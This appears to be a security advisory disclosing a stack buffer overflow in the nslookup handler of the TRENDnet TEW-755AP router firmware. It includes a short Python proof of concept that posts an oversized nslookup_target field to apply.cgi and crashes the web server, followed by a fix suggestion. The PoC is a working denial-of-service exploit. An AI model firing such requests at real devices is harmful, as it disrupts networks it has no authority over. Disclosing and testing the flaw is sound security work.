We found a stack buffer overflow vulnerability at **TEW-755AP (**Firmware version TEW755AP-FW113B01.bin).

Untitled

In the handler function for action tools_nslookup (sub_41E580) of the file /www/cgi/ssi, the value of cameo.cameo.nslookup_target is directly copied to stack buffer via strcpy at line 29 without size check. An attacker can overflow the stack buffer by specifying cameo.cameo.nslookup_target as a very long string.

PoC

import requests

url = "<http://192.168.17.221:80/apply.cgi>"
cookie = {"Cookie":"uid=1234"}
data = {'action' : "tools_nslookup",
"cameo.cameo.nslookup_target" : "a"*0x1000}
response = requests.post(url, cookies=cookie, data=data)
print(response.text)
print(response)

We use python to send a crafted HTTP post request to the web server, and print out the return message.

Untitled

Send the crafted HTTP request to the server, it will return 502 error code.

Fix Suggestion:

Use strncpy to perform avoid buffer overflow